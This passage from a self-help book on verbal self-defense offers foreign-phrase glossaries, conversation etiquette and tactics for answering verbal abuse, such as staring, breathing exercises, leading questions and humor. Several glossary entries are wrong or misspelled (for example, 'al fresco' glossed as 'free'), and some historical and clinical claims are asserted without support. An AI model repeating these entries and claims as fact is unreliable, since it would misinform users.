that pesky insect that sits on your hamburgers when you're picnicking. Instead, it means great looking—sexy. If
someone thinks they are all that, they are full of themselves and think they're fly. Bad means good. Homey does
not mean a cozy house, nor do homes mean a group of houses. Derived from the word homeboys,
neighborhood gang members, it means buddy or close friend. An even closer friend is a bro, which can also be
used as a greeting. “Hey bro wuss happenin' man” means “Hello, how are you?” When you kick 'em to the
curb, you aren't literally using your feet to push them over the edge of the pavement. Instead, you are getting
rid of someone with whom you haven't had a happenin' (good, working) relationship.
Page 126
Talking Ethnic
In order to bond with someone from a different culture, it's best to know what certain words mean before you
use them. An American ice skater went on Australian television and said “when I last skated, I fell on my
fanny.” To an American that's not funny at all, but to an Australian, it's hysterical! Translated into Australian,
she said “when I last skated, I fell on my vagina.” So you have to be careful. To help you, I have come up with
a list of some common ethnic words and phrases (many familiar to you) so that you will know what people are
talking about when you hear them. If necessary, I list their pronunciation after the term.
Latin Terms Commonly Used in English
• modus operandi (MO)—method of procedure
• modicum of decorum—way of behavior
• per diem (per DEE um) or per annum—by the day or by the year
• in absentia—in one's absence
• status quo—the present state of things
• de facto—in actuality
• ex post facto—after the fact
• pueris enternis—man refusing to grow up
• per se (per SAY)—in itself, intrinsically
• persona non grata—person not welcome
German Terms Commonly Used in English
• wunderkind (VUN der kind)—talented, precocious child
• angst—foreboding or anxiety
• doppleganger—mirror image
• verboten (vayer BOAT tin)—forbidden
• gesundheit (gez ZUNT hite)—to your health (said after one sneezes)
• zeitgeist (ZITE guyst)—spirit of an era
• wanderlust—yearning to travel
Yiddish Terms Commonly Used in English
• mishigas (mish shig Goss)—insanity
• shlep—drag
• mensch—a person who does good by others
• yenta—gossipy person
• chutzpha (HOOTS pah)—a lot of nerve
Page 127
• klutz—clumsy person
• shlock—cheap stuff
• nebbish—weak, unhip person
• kvetch (kuh VECH)—gripe, complain
French Terms Commonly Used in English
• vis-à-vis (VEE zah VEE)—in relation to
• déjà vu (day zhah VOO)—illusion something happened before
• double-entendre (on TAWN druh)—expression with a double meaning
• malaise (mal LAYZ)—a blue mood or funk—not feeling well
• nuance (NOO wawns)—subtlty
• passé (pass SAY)—out of date or style
• pièce de résistance (PEE yes dah ree zis TONCE)—the best of something
• voilà (vwah LAH)—There it is!
• crème de la crème (krem day lah krem)—The best of the best
• c'est la vie (say lah VEE)—oh well, that's life!, that's the way it is
• tres chic (tray SHEEK)—fashionable and sophisticated
• avant-garde (ah vawnt gard)—ahead of its time
Italian Terms Commonly Used in English
• ciao (chow)—goodbye for now
• incognito (in kog NEE toe)—in disguise
• al fresco (all FRES koe)—free
• terra firma—solid ground
• que sera sera (kay suh RAH suh RAH)—what will be will be
It's Over—I Wanna Go Now
As the old saying goes, it takes two to tango. Just as the person you are talking to might be turned off to you, it
goes both ways. The other person may not be all that you bargained for. The main thing is to maintain your
dignity and that others maintain theirs. Never be a hypocrite and say that you'll call or get together with them if
that is not your real intention. This makes for ill feelings in the long run.
If you never intend to see someone again, just tell him that you enjoyed speaking with him. If you want to
move on and talk to someone else, do so, but do it graciously. Say: “I'm glad we had the opportunity to chat.
Would you please excuse me, because I need to speak to someone over there.” If you just want to mingle, tell
them: “I'm glad we
Page 128
met. I am going to mingle now” (or “meet some other people”). Always remember, the last thing you say
leaves a lasting impression, so be gracious and leave with a firm handshake and a smile.
Don't Be a Liar—Follow Up Immediately!
If you said something during the conversation that requires a follow-up, then follow up. Forgetting is no
excuse! Write yourself a note and put it in a place where you'll be sure to see it. Do it! Whether it's giving
someone a business call, placing her in contact with another person, sending him an article, or anything else,
act immediately on what you said!
Never Say You'll Call If You Don't Mean It!
I can't begin to tell you the number of people whom I have seen with broken hearts, people who have literally
waited by the phone for that expected call and never received it. Even if they had a phone answering machine,
they sacrificed going out somewhere to personally pick up the phone to hear the promiser's call. So if you don't
intend to call, don't say you will! If you think that by saying it you're being polite, you are not! In reality, you
are being extremely rude and potentially hurtful! You have even elicited negative feelings in the person whom
you promised to call.
In the same vein, don't say “let's get together” or agree to get together if you don't intend to do it. It is usually
taken seriously and can elicit negative feelings about you from the people you misled.

Page 129
PART 3
VERBAL DEFENSE STRATEGIES TO USE IN COMBAT
In earlier chapters, you took a good look to determine who your verbal enemy might be. You learned to identify
certain characteristics of these wild and savage verbal beasts who are dangerous to both your physical and
emotional health. You should now feel confident in your abilities to spot these beasts as you wander through
the jungles of life.
You have prepared yourself for defense in every way possible. You are now verbally armed to the point where
nobody should mess with you—or else! You have the strongest weapon imaginable, which can guarantee that
you have the winning advantage in fighting a verbal war. It is a weapon so precious that your adversary can
never get his or her hands on it. That weapon is self-confidence.
Now that you've assembled all of your equipment, this part of the book shares with you all you need to know
about which verbal and non-verbal strategies to use and how and when to use them. You will also learn how to
use more sophisticated verbal weaponry if needed. You will learn the signals to alert you to the fact that the
verbal war is over.
No matter whether you win or lose the verbal war, there is always the aftermath of emotional devastation.
Thus, you will learn how to pick up the pieces and rehabilitate yourself after leaving the verbal battlefield. You
will find out how to heal your emotional wounds. Finally, you will learn how to deal with the aftereffects of
post-traumatic verbal shock syndrome.
Page 131
Chapter 10
Verbal Defense Strategies
Entering the Verbal Combat Zone.
You need to be prepared for everything and anything as you learn the art of verbal self-defense. You might not
be looking for a fight, an argument, or any problems. For example, you go out to walk your dog, and a perfect
stranger walks by and tells you a dead dog story—something you don't want to hear, especially at 7 A.M. Then
you go to the corner to buy a newspaper. As you put out your hand to pay the vendor, someone in line curses
you because she says she was there first, even though you know that you were there before she was. Next, you
unsuspectingly go to get a cup of cappuccino at an upscale coffee shop on the corner. You are met by a nasty,
abrupt, impatient server who looks at you in disgust when you hand him a ten dollar bill and he is forced to
make change for you. As you sit down, you see someone sitting alone at the next table. You smile and say good
morning, she looks away as though you were invisible.
Your day is filled with meetings, but before it begins your boss is barking out commands devoid of “please” or
“thank you,” or, for that matter, any terms of politeness. He shouts only about the few things you did wrong,
ignoring the fact that you did everything else right. In fact, you have done things so right that you are still the
number one salesperson in the company over the past six months.
Page 132
As if your day couldn't get any worse, you finally get to go home and relax, only to discover that you are
getting the silent treatment from your spouse for something you must have done. No kiss, no hug, nothing.
Perplexed, you ask “what's wrong,” only to hear “nothing's wrong!”
Could things possibly get any worse?
Guess what? You have just entered the verbal combat zone! But there is good news—you need not be a victim
anymore! Help has finally arrived! The pages to come will show you how to effectively strategize to defend
yourself against these foes. You will never be a verbal victim again.
A Verbal Weakling No More!
Remember the cartoon where the big buffed-up bully kicks sand in the face of the 90-pound weakling? Then
the little guy works out and pumps up. Now he's the one who kicks the sand kicker's behind as he's bigger and
stronger after a regimen of weight training and diet.
You are in the same position as the little guy. You are going to be trained and fed with the proper verbal
nutrients—the right words to say to any adversary in any circumstance. This in turn will allow you to pump
yourself up and kick some verbal butt!
Verbally Pumping Up
Just as the boxer, wrestler, and karate champion have to do a standard workout before they get into the arena to
defend themselves against their opponents, you have to do the same.
They have a daily physical exercise regimen that requires exercises to stretch and build up the muscles in their
upper and lower body. They do this every day to make themselves stronger, more limber, and more confident
in their physical abilities.
Similarly, you need to have a daily verbal exercise regimen that prepares you for any verbally venomous
opponent you will encounter. You need to work out the physical, verbal, and communication skills discussed in
Chapters 6, 7, and 8. Doing exercises for posture, breathing, voice, jaw, nasality, pronunciation, and
communication skills will help you become more verbally limber and more confident in your communication
abilities.
Imaginary Conversation Strategy
You need to practice what you are going to say to your verbal adversary. You need to imagine yourself talking
to him, playing out every possible scenario in your mind. Then, when it comes time for you to face the real
situation, it will be a piece of cake

Page 133
for you. You will have already rehearsed what to say in every possible outcome so that you are no longer
nervous when you have to have a face-off on the verbal battleground.
As you talk to yourself, imagine asking out the guy or girl you like.
Imagine them saying “yes.” Then imagine them saying “no.” Finally, imagine them saying “maybe.” Practice
what you would say in each of these possible outcomes.
Now, in your mind, ask your boss for a raise. Picture yourself sitting down in the chair in front of his desk. See
yourself sitting with the confident sitting posture you learned about in previous chapters. See yourself looking
directly at his face as you say, “Mr Brown, I have been with the company for over four years and have brought
in thousands of dollars of new business every month. This is why I feel comfortable talking with you about the
possibility of raising my salary.”
See yourself, hear yourself, feel yourself going over and over the scenario. Going over it while picturing
yourself gives you confidence. Do it over again and again, until you are devoid of stammering and mumbling.
Bear down on exactly what you want to say until it is committed to memory. Practice until saying what you
want to say becomes second nature to you. Now again, visualize your reaction if the boss says “yes,” then your
reaction and response if he says “no” or “maybe.” By the time you have to actually sit down in front of your
boss and ask him for a raise, you will be 150 percent prepared.
Use this strategy to practice telling someone off or confronting someone who has betrayed you. After
examining every possible scenario in your mind, you will know exactly what to say and how to say it to your
verbal adversary.
Chapter 11 explains how to use each of the verbal strategies available to you. Then you can effectively use this
“Imaginary Mirror Technique” with a specific verbal strategy that you have picked.
Through the Looking Glass
The best way to practice the Imaginary Conversation Strategy is while you are looking into a mirror. That way,
as you talk to yourself, you will be more conscious of your facial expressions, posture, voice, and how other
people see you. You might want to put a tape recorder near you as you rehearse the various scenarios while
looking in the mirror. It can serve as a barometer to let you know how you come across vocally during certain
levels of anger or excitement.
The very best time to practice is in the morning when you are already looking in the mirror to either shave or
put on your makeup. Why not take a few extra moments to

Page 134
practice your strategy? You can even do it in your car when you are alone, perhaps while driving to and from
work.
Knowing When to Attack Back
It is only when you really know yourself (which you probably do by now, having read Chapter 8) that you
become utterly confident and secure that you are doing the right thing. You automatically know when to take
matters in your own hands and attack back! You know what your limits are. Nobody else but you does.
In order to feel more comfortable attacking back, think of all the times in your life when you didn't attack back
or respond to your verbal adversary. Think about how you felt immediately afterwards, two hours later, during
your sleep (not being able to sleep, or having a bad dream about it), and when you got up the next morning. In
the following chart, put an X next to the times of the day when someone said something that bothered you.
Write down as many situations as you can remember, even from childhood, where you took the verbal abuse
and didn't react immediately.
What Your Answers Mean.
Do you see a pattern here? Do you think immediately afterwards about what happened? If you do, that's good.
It's a normal reaction. You obviously need a few

Page 135
minutes, even up to a half hour, to digest exactly what they said. You probably wish you had said something
back, but it's too late and you let it go. Your letting it go and really forgetting about or not paying attention to
what happened is not lip service. You have a productive and healthy way of dealing with toxic individuals.
If it's still in your mind two hours later, that's starting to be a problem, because it's wasting time that you could
have spent thinking about more positive and productive things.
If it has kept you awake, or tossing and turning, you are in big trouble. If it's giving you an upset stomach or
heartburn, makes you throw up, or makes you feel like unzipping your skin and jumping out of it, then you are
also in big trouble. Now the fact that you didn't respond has affected you physically. That is dangerous. If it
happened in two situations or more, then you have developed a pattern of making yourself sick over not taking
action. You are literally “kicking yourself,” causing yourself pain and agony because of your nonconfrontational
behavior.
If you have ever thought about the situation as soon as you got up in the morning, you have probably awakened
with either a headache or nausea. Even if you are feeling just a little nauseous, it's still nausea. The toxicity of
the situation and your not dealing with it has crept into your internal organs—namely, your stomach and your
brain. It has affected your blood flow, not to mention consuming your thoughts. If you woke up with the
problem on your mind, chances are that you will likely be thinking about it periodically during the day or
perhaps all day long. Now your poor internal organs are being tortured by your lack of dealing with the
situation.
Two days have gone by, and you are still undergoing mental torture. Every time you think of what happened,
you get restless, and your face has a tense and angry expression. By now you have told everyone what
happened, to get some relief and support so that you won't have to carry this heavy burden all by yourself.
Some of the people you tell take your side; you lose respect for and get mad at those who don't. Now you have
two problems—the one that's been bugging you for two days and the loss of some people you thought were
your friends. In your mind, they proved who they are and you plan to drop them like a hot potato.
Two days pass, now a week, and you are still thinking about what you could've, should've, or would've done if
you had it to do all over again. By now you have developed chronic head and stomach pains, in addition to
back and neck pains. Every time you think about it, you literally get sick. This is the time to see a therapist.
You not only need to get treated for your physical back and neck pains by a chiropractor. You need to be
treated for your mental pain by a psychologist.
Page 136
Keep Your Eyes and Ears Open at All Times
The first thing you need to do when dealing with a toxic situation is get your head out of the sand and face the
situation directly. If you don't do this the only one who is going to get hurt is you.
The first step of any martial arts training is to keep your eyes fixed on your opponent so that you can anticipate
any move he or she makes. This way you can block his kick, and take him off balance by leaning back or going
forward. The same is true in the verbal arts. You need to keep both your eyes and your ears on the alert at all
times.
It's time to come out of the closet! It's time to admit to yourself and to everyone else that you are a human
being. You are a human being who both requires and deserves respect—respect from others, and most
important of all, self-respect.
A self-respecting human being would never allow the earlier scenario to go so far. She would nip it in the bud
immediately! When a soldier is engaged in actual battle on the battlefield, does she wait two hours, a week, a
month, or a year to deal with the enemy who has just attacked her? Of course not! It goes without saying that
she would be dead if she didn't handle the situation immediately!
Make a Choice and Make It Now
The soldier has choices, but he has to make those choices in a split second. His choices determine the outcome
of his well-being. He can run for his life, he can hide, he can shoot back, or he can use a hand grenade and
blow everything to bits. He also has another choice, and that is to do nothing and die in battle.
This scenario would never have happened at all had the leaders of the two opposing sides sat down in an
attempt to make peace with one another.
Even though this is a rather harsh analogy, it's the naked truth! After all, this book is about defending yourself
against the enemy—the verbal enemy!
The strategy for verbal self-defense is no different from the one the soldier uses. You, like the soldier, have to
make choices—and immediate choices at that! The choices you make determine the outcome of your wellbeing.
You can run for your life and never look back (the Unplug Strategy). You can shoot back (Mirroring
Strategy). You can really let the verbal enemy have it, by verbally blowing him or her to bits (Give 'Em Hell
and Yell Technique). Finally, you can do nothing. You can simply remain silent and allow the verbally abusive
enemy's toxins to fester inside you, to the point that it makes you mentally or physically ill. If the verbal abuse
takes place over long periods of time, the end result can even kill you!
Page 137
Picking Your Strategy
Now that you know that you have to make a choice, because your life can literally depend on it, you need to
know that you are in complete control. You are in control of picking the right strategy to use at the right time
with the right verbal enemy. If one strategy doesn't work, know that you have others from which to choose.
The thing to remember in picking your verbal weapon is that, like the martial artist, you are never initially on
the offensive. The black belt in karate keeps her lethal weapons (her hands and feet) under wraps until she must
defend herself.
Similarly, you too need to keep your verbal weapons under wraps until the point that you have to verbally
defend yourself.
The Verbal Artist Has Complete Control!
In order to be in complete control, there are four things you need to remember, no matter what:
1. Enter every situation in the verbal battlefield with an open mind.
2. Observe “what is.”
3. Take a moment to pick your strategy.
4. Go ahead and defend yourself.
In the first step, you, the verbal artist, come into any situation “clean” and weaponless, with no hidden agenda,
like the martial artist. You leave your ego at the door. You have no chip on your shoulder. You are just
“you”—open, honest, and not offensive in any way. This means that you never initiate an attack, consciously
saying anything that is verbally toxic to another person. You, like the martial artist, are calm, open-minded,
pleasant, and accepting of everyone who crosses your path.
When using the second step, by simply observing what “is,” you, like the martial artist, are not concerned with
the past: you deal only with the present, experiencing the here and now. Therefore, neither you nor the martial
artist is burdened by excess baggage.
Page 138
You both have learned to let go. You have learned not to take a toxic situation from the past into your present
time and space. As a result, peacefulness and pleasantness reside in your demeanor, your body language, face,
language, verbal tones, and in everything you happen to say to others.
For the third step, while continuing to take control over the situation, make certain that you are in absolute
conscious control by controlling your breathing. In Chapter 11, you learn how to effectively control your
breathing using the Breath Control Technique. This technique gives you the split-second timing to reach into
your bag of “verbal self-defense strategies” and pick the one appropriate to that particular situation.
Picking the right verbal weapon with which to defend yourself does take a lot of skill. But don't worry. With a
lot of practice, you, just like the black belt in karate, will learn to develop the skill to become a verbal black
belt.
The martial arts expert is well-versed in his stances, blocks, and kicks. By having control over the situation,
you are equally well-versed in your stance (head and body posture), moves (facial, arm, and hand movements),
and kicks (verbal self-defense strategies). The martial artist has physical advantage over his opponent; you now
have vocal advantage over your opponent.
Now for the fourth step. When the martial artist decides to kick back, watch out. The results are not pretty.
Neither are they pretty when you decide to “kick back” verbally, as your opponent will definitely get a dose of
his own verbal poison. He might even get more than he bargained for. Because he will be completely disarmed,
rest assured that he will definitely think twice about attacking you—the verbal black belt—or anyone else, for
that matter.
Page 139
Chapter 11
Letting Them Know They've Overstepped Their Verbal Boundaries
If you are to gain an advantage over your opponent, you must have both the knowledge and the ability to
choose and use verbal self-defense techniques, depending upon which ones are called for.
Techniques range from silence to taking extreme verbal measures. The key is letting someone know that she
has clearly overstepped her boundaries.
Learning each of these verbal strategies is so important because it helps you rid yourself of any toxins that
might reside in your system as a result of keeping the verbally venomous person's poison within you.
In Chapter 10, you learned that you must never keep any of the verbal venom inside of you, and that doing so
can be deleterious to both your physical and mental health.
Silent, Expressionless, Blank Stare
The silent, expressionless, blank stare occurs when you immediately stop everything you are doing and freeze
as you blankly stare down your opponent. This often throws your verbal adversary so off balance that he
doesn't know what to do.
Page 140
In this case, silence is truly golden. You most likely grew up with this technique being done to you. As a child,
all your mother or father needed to do was to give you that “look,” or rather, “non-look.” First came the
expressionless stare, followed by silence, followed by a furrowed brow and then, the verbal reprimand. After
some time and many blank stares, it got to the point where all your parents had to do was to give you that look
and you immediately knew you had to behave. Teachers often use this technique to get their students to be
quiet and to pay attention.
It's most disconcerting to see a face that is usually full of expression and life turn mask-like. It's so
disconcerting to be shocked by this out-of-context facial non-expression, that you tend to stop whatever you are
doing, just to make sure your eyes are not deceiving you.
Now that we have established that this technique definitely works, you need to use it as part of your repertoire
in verbal defense. Imagine that someone says something really insulting to you. Here are the steps you need to
take to stare him down.
1. Immediately stop whatever you are doing.
2. Take a small breath of air in through your nose. It is important to aid in your silence that you not inhale
through your mouth. Because you are not going to be speaking, you don't need to fill your abdominal area with
air. You are not going to be making any rich sonorous tones.
3. Hold the breath. By holding your breath, you are slowing down your heart rate as well as focusing your
thoughts, so that you are in total control of the situation.
4. While still holding your breath, relax every one of your facial muscles. Visualize your forehead relaxing,
along with your eyelids, nose, cheeks, lips, jaw, and chin. From the top to the bottom of your face, feel your
muscles relaxing so much that your face becomes expressionless.
5. Now look in the direction of the verbal perpetrator. Just stare at him. Try not to blink; just stare. Usually
after 3 seconds, he will feel so uncomfortable that he will
Page 141
most likely say “What's wrong?” or “What are you looking at?”—with a small chuckle and an
uncomfortable tight-lipped smile.
6. Do not speak! Just keep staring. As soon as he has spoken, you know you have gotten the upper hand in the
situation. See how fast the tables have turned. Now it is you who are in control. His attempt to overpower you
by his toxic words is nullified. Your facial shield protects you from giving him any satisfaction for trying to
annihilate you with his verbal bullets. Now, he is the one squirming, not you.
By the way, as soon as he starts speaking, which he will do in a matter of seconds, you can release your breath
so you don't turn blue and pass out.
The Look of Disgust Strategy
The Look of Disgust Strategy is very much like the Silent, Expressionless, Blank Stare Strategy. Instead of
having no expression on your face, however, you have an expression of disgust. This technique is especially
disconcerting to your opponent because he was not expecting this—someone scowling at him in disgust,
staring at him, and saying nothing.
Now he is really thrown off balance. He might start to furrow his forehead and knit his brows together,
tightening up his jaw as he says, in a defensive tone, “What's the matter?” or “Why are you looking at me like
that?” If he is really uncomfortable, you might hear those infamous four words, “I was only kidding.” There is
no way he was “just kidding.” You know it and he knows it. And now he knows that he can't speak to you the
way he did. Your facial expression speaks volumes.
To make the Look of Disgust:
1. Raise your upper lip.
2. Wrinkle your nose.
3. Open your mouth.
4. Raise your chin.
5. Squint your eyes.
This is a universal expression. People from every culture use this facial expression to reflect the emotion of
disgust.
Page 142
Let It Go—Breathe and Blow Strategy
When doing this strategy you must remember the importance of never ever allowing any of this verbal venom
to fester inside of you and poison your psyche. As I mentioned in Chapter 2, venomous words are like glue—
they stick. They will always stick to you unless you are able to release them mentally and physically.
Therefore, the next strategy is designed to give you complete control over your emotions. This strategy
underlies all of the other strategies presented in this chapter.
When someone aggravates, your adrenaline begins to flow. Your heart beats faster, your head begins to throb,
your face reddens, and your eyes bulge out as you hold your breath. Because you are so shocked, you in
essence forget to breathe. In this case, I'm not talking about strategies where you consciously hold your breath
in order to achieve a specified effect. I'm talking about uncontrolled cessation of breathing. Here is how you
can effectively use the Breathe and Blow strategy to oxygenate yourself.
1. Take a small breath—a two-second sip of air into your mouth.
2. Next, think of your verbal adversary. Recall all the awful things he said to you. Hear his voice spewing forth
poisons. Do your recalling in the three-second period where you will be consciously holding on to your breath.
In this case, you are in complete control of your breathing because you are fully conscious of what you are
doing.
3. As you keep this “verbal violator” in your mind, blow him out through your mouth, exhaling with all your
strength.
4. Keep blowing out this breath until you have completely run out of air.
5. Now stop for two seconds and do not breathe.
6. Repeat this exercise a second time. As you literally blow what he said out of your mind, you are ejecting this
person from your system.
7. Repeat this procedure once more as you continue to blow out all of the toxic negativity and ill feelings the
person's words have brought you.
8. Now stop and take a big breath in through your mouth, filling up your lungs and exhaling normally.
While using this strategy, you may feel a bit light-headed. Not to worry—this is quite normal.
Page 143
Calm, Calculating, Questioning Strategy—Like Columbo
Remember the popular television series Columbo? Detective Columbo would calmly ask invasive questions in
such a matter-of-fact, unassuming way that the criminal would unsuspectingly cooperate and answer his
seemingly benign—but really quite calculated—questions. Then, of course, Columbo was able to solve the
crime and save the day.
Just as Columbo caught his criminal by throwing him or her off balance, you too can use the same approach to
throw your verbal opponent off balance.
If you use this technique, you must use a non-hostile, non-angry, unassuming tone. You will have more
successful results if you take the following advice.
The purpose of this strategy is to ask someone a series of questions that require either a yes or no answer in a
logical progression. It's kind of like a courtroom lawyer who attempts to make an important point by having his
witness respond to a succession of questions. In your case, however, you aren't hostile.
In questioning, you have to begin by asking the most absurd question, which is guaranteed to elicit a no
answer. Then keep going, asking less and less bizarre and over-the-top questions until the person gets the point.
Eventually, he is put in a corner and is forced to see how wrong he is. The “Talk Back!” section gives a clear
example of what I'm talking about. The ignorant man who made a generalized racial slur did a complete
turnaround in his thinking as a result of this strategy.
Talk Back
Here is the Calm, Calculating, Columbo-Like Questioning Strategy in action.
This is a dialogue between an ignorant, prejudiced, narrow-minded bigot and a
level-headed, open-minded, people-loving person. The bigot has made a
pejorative comment about people of color. The Loving Person takes control, as
you will see.
Loving Person: You mean to say you can't stand every single black person in
the entire world?
Bigot: No, I didn't say that.
Loving Person: Do you know of any black person that you do like?
Bigot: I can't recall anyone.
Loving Person: Do you like sports?

Page 144
Bigot: Of course, doesn't every man?
Loving Person: Do you respect any sports stars?
Bigot: Yes.
Loving Person: Who?
Bigot: Muhammad Ali and Michael Jordan.
Loving Person: How about in politics or music?
Bigot: I don't know much about politics, but I like BB King and Aretha
Franklin.
Loving Person: Is there any one black person whom you ever thought was
intelligent or talented?
Bigot: Sure, Oprah Winfrey, that guy on 60 Minutes…Ed Bradley.
Loving Person: Have black people as a whole ever done anything to hurt you
personally?
Bigot: No, not me. Not personally.
Loving Person: You seem like a hard-working man who takes care of his
family. Do you think that there are some black people who work hard for and
care about their families as much as you care about yours?
Bigot: Of course there are!
Loving Person: Do you personally know a lot of black people?
Bigot: No, not personally.
Loving Person: Have you ever worked with any black people?
Bigot: Of course I have.
Loving Person: Did you hate every black person you worked with?
Bigot: Of course not. In fact, one of my best buddies at work was a black man.
Loving Person: Have you ever felt that if fewer people hated one another and
got to know one another better as individuals, just like you got to know your
buddy at work, that there would be less hatred and ignorance in the world?
This strategy is so powerful because it makes a person become accountable for what verbal toxin he has
spewed forth. If you practice this strategy and learn to do it well, you can not only make your point, you can
even change the other person's way of thinking. As an active participant in the communication process, he is
clearly able to take a good look at himself and see how ridiculous he has been.
The Naked Truth Strategy.
Because it is such a rarity in this day and age, direct, bold honesty can blow someone out of the water! When
someone makes a nasty and hurtful comment to you, you have the option to tell her the “naked truth.” If you
decide to use this strategy, you will definitely have thrown her off balance. No way was she expecting to hear
how repulsive you think she was being when she said what she said to you.

Page 145
Most likely, she will be intimidated by your direct honesty as you deliver the message to her in a projected and
well-modulated tone, with an upright, heads-up posture. This is a perfect situation to illustrate how your daily
verbal workouts can assist you in each of the strategies you choose to use. Incorporating good posture, direct
facial contact, and a sonorous voice—techniques you learned about earlier in this book—are essential if you
want to be effective in getting your verbal message across to verbal abusers.
The Naked Truth Strategy often prevents verbal bombs from being hurled at you in the future. Your verbal
adversary usually gains a newfound respect for you, because you have let her know in no uncertain terms that
you are on to her verbal games and you will tolerate none of them.
In essence, your self-respect—speaking up for yourself—made the verbal enemy have more respect for you as
well.
“The Joke's on You”—Funny Bone Strategy
Another sure-fire way to throw your verbal enemy off-kilter is to make fun of either him or yourself.
Sometimes it's difficult for you to come up with something funny, especially after the other person says
something that almost leaves you crying, not laughing. Once again, take that lifesaving sip of air in through
your mouth for two seconds. Hold it for two seconds, and then start rolling with some humor. The four seconds
buys you some time to think of a joke.
It's best to make a joke related to something negative the person said to you. By retorting in a positive and
humorous vein, you gain the upper hand and control over the situation. On the other hand, you can add insult to
insult. This will definitely throw him for a loop! He may think he “gotcha” with his zing when in reality, you
“gotcha” self with an even better zing!
The key here is to say something even more outrageous than he did.
Page 146
Another humorous technique is to fight fire with fire. He zinged you—zing him back! He says you need to lose
weight; you say he does too. Chances are, this insensitive clod isn't exactly Baywatch material either, right?
Tell him that. Now his big mouth must weigh a ton.
Using this strategy, it doesn't matter what you say, as long as you say something that's funny to you.
Later on in the book you learn how to use some snappy comebacks that apply to specific verbally noxious
people in specific situations.
Love 'Em Up Strategy
“A pat on the back is just a few vertebrae from a kick in the pants.”
Anyone who has to resort to spitting out verbal venom usually lacks the basic element for survival—love.
Those who lack enough love and support from others usually become insecure, jealous, and angry, and they
don't really feel good about themselves. Deep down, they really want to reach out but can't, so they go the other
direction and act hateful and spiteful. This behavior is, of course, due to their inner rage of not feeling loved
enough.
If you look at them in this vein, you won't have as many bad feelings towards them. They really need to be
pitied more than hated. They need more compassion than aggression.
Therefore, instead of being angry at them you actually need to diffuse their anger with love and kindness. This
is a Herculean task for anyone who has been verbally shot, maimed, and blown to bits. If you find you just can't
do it, not to worry. This is just one tool of many in your arsenal of verbal defense weapons.
If you think of the common phrase “kill them with kindness,” you might feel a lot better about employing this
strategy more often.
Below are six sub-strategies of the Love 'Em Up Strategy for verbal defense. Try them! They are actually fun
to do and very empowering.
Gentle-Toned Name Repetition
In his bible of the times, How to Win Friends and Influence People, Dale Carnegie mentions that the sound of a
person's name is the sweetest music to her ears. Why? It's the same as what was said earlier in this book—
people love to talk about their favorite subject, themselves. Softly saying people's names over and over in a
loving tone certainly gets their attention, especially if they are in a rage. It helps to calm them
Page 147
down. Your control over the situation allows them to get in control of themselves. It disarms them. They can't
help but stop and listen. Instead of being seen as the verbal battering ram, you become a warm, soft verbal
cushion, making yourself “user-friendly” to them. By the way, this is a standard technique mental health care
professionals use in their attempts to gain some control with autistic children.
Hush Hush Strategy.
This technique is similar to the preceding one, except that you substitute the term “hush hush” for the person's
name. It's virtually the same technique that you would use with a crying baby in softly telling her to hush as
you hold her. Your steady calming tone as the air produces the “hush” sound elicits calmness.
This is an excellent technique to use when a person won't shut up. If you keep repeating “hush hush” in a calm
and steady voice, on a continuous basis, he or she will eventually stop yelling and carrying on. In essence,
these people are like big babies who need their mommy or daddy to comfort them.
Let the Baby Have Her Bottle Strategy
Speaking of babies, remember when you were a child and another child would cry or get upset when you
played with his her toy? Oftentimes, to save face and rationalize your little feelings (which were actually big
feelings at the time), you retorted with “Okay, let the baby have her bottle.” The little perpetrator was usually
taken aback by your comment. She didn't want to be referred to by that evil four-letter word, B-A-B-Y, so she
often relinquished the toy to you or shared it with you. Little has changed since your youth. Oftentimes, when
you yield to your verbal opponent, she becomes powerless and you gain back the control.
If you counter what the verbal abuser says by agreeing with her, she has nowhere to go. She is taken offbalance
and loses her verbal footing. She has no idea where you are coming from and no idea of what to say
next. Obviously, she can't fight with herself, so she is silent. This quashes her verbal venom.
Hand-Holding Fighting Strategy
This strategy, which I personally devised for my clients, is one of the best techniques to be used in relationship
therapy. It's obvious that the couple loves one another, but they keep fighting and bickering over stupid and
ridiculous things. They end up saying mean and ugly things to one another that devastate both of them. As you
learned

Page 148
earlier in the book, words stick—especially ugly words! So, I tell the couple, as difficult as it may seem, as
soon as they start this stupid bickering, one has to immediately grab the other's hand and hold it and continue to
bicker.
They usually start laughing and stop fighting, becoming softer and more affectionate with one another. As they
continue to hold hands, each one often starts to communicate his or her side of the issue in a calm and loving
manner, so that each mate is able to really hear what the other has to say.
It's a very powerful tool for effective communication between couples as well as friends.
By the way, the one who takes the other's hand first is the one who has the control over the situation.
Heart-in-Hand Strategy
Dating back to ancient Roman times, when Rome was busy trying to conquer the world, anyone who met up
with the Romans was concerned about weapons they might be hiding. Thus, when the Romans placed their
hand over their heart to express their sincerity, respect, and liking toward the person, one could readily see that
the person was safe (at least at that moment), because there was no weapon in the potential opponent's hands.
In this century, this gesture has come to express extreme passion and feeling toward another person. More
currently, it expresses passionate love but also despair, a “heaviness of the heart.” Therefore, when you
lovingly converse with your verbal opponent with this gesture, especially one whom you really love, you have
the advantage. Subconsciously, they are getting the cue of how deeply they have affected you. Usually this
mitigates their verbally toxic behavior.
“What's Good About You” Strategy
If you tell your child he is good even if he is a little terrorist tormenting everyone and leaving a path of
destruction in his wake, he often acts better, especially around you. Since you have good expectations for him,
he will often follow suit.
This is no different when you tell grown-ups how good they are and discuss their good points. Doing so, you
gain the upper hand and control over the situation. Who wouldn't want to hear good things about themselves?
This usually stops them in their tracks and they begin smiling. Even though they know they have been bad, the
fact that you still manage to see something good in them makes them feel pretty good about you. If they are
feeling good about you, it is more difficult for them to verbally attack you.

Page 149
Page 151
Chapter 12
When More Powerful Weaponry Is Needed
The strategies in Chapter 11 work quite well if you are dealing with basically civilized people with whom you
can communicate at least on a basic level. Others need to be shaken up a bit more. Even though I recommend
first using the “pat on the back” philosophy in dealing with verbal venomites, sometimes you have no choice
but to give them the “kick in the pants” in order to get them to finally hear you.
This chapter explains when you really need to implement this kick in the pants approach. These strategies are
most effective in defending yourself against those verbal bullies.
Never Walk Away When You Have Something to Say!
Ask a group of people what they would do if someone had just verbally assaulted them and continued to
verbally abuse them. Inevitably you will hear the following, unfortunately very common response. “I'd just
walk away.” If you give them a clearer, more
Page 152
descriptive picture of the verbal perpetrator's heinous actions, the response would still stay the same, only some
people would probably pipe up “I'd ignore them!”
Well, guess what? You can't ignore it! It's there. It's right in front of your eyes. It haunts you later. You hear the
voices, you see the vision, you feel the pain. If you ignore it now, it will come back to haunt you later through
physical and mental anguish.
Protecting the Other Cheek
Perhaps they say that they would simply walk away because they feel that they are “peace-loving” people and
that's what peace lovers should say—at least publicly.
